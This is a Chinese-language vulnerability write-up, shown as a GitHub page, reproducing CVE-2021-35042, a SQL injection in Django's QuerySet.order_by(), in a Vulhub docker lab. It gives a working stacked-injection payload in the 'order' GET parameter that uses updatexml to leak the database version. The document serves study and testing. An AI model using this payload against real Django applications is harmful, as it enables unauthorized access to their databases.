Skip to content

Latest commit

 

History

History
45 lines (26 loc) · 1.24 KB

Django QuerySet.order_by() SQL注入漏洞 CVE-2021-35042.md

File metadata and controls

45 lines (26 loc) · 1.24 KB

Django QuerySet.order_by() SQL注入漏洞

CVE-2021-35042

漏洞描述

Django在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞

参考链接:

该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。

环境搭建

Vulhub执行如下命令编译及启动一个存在漏洞的Django 3.2.4:

docker-compose build
docker-compose up -d

环境启动后,访问http://your-ip:8000即可看到Django默认首页。

漏洞复现

访问页面http://your-ip:8000/vuln/,在GET参数中构造order=-id,会得到根据id降序排列的结果:

http://your-ip:8000/vuln/?order=-id

image-20220222171428294

再构造GET参数order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23提交,其中vuln_collectionvuln应用下的模型Collection

http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

成功注入SQL语句,利用堆叠注入获得信息:

image-20220222171548110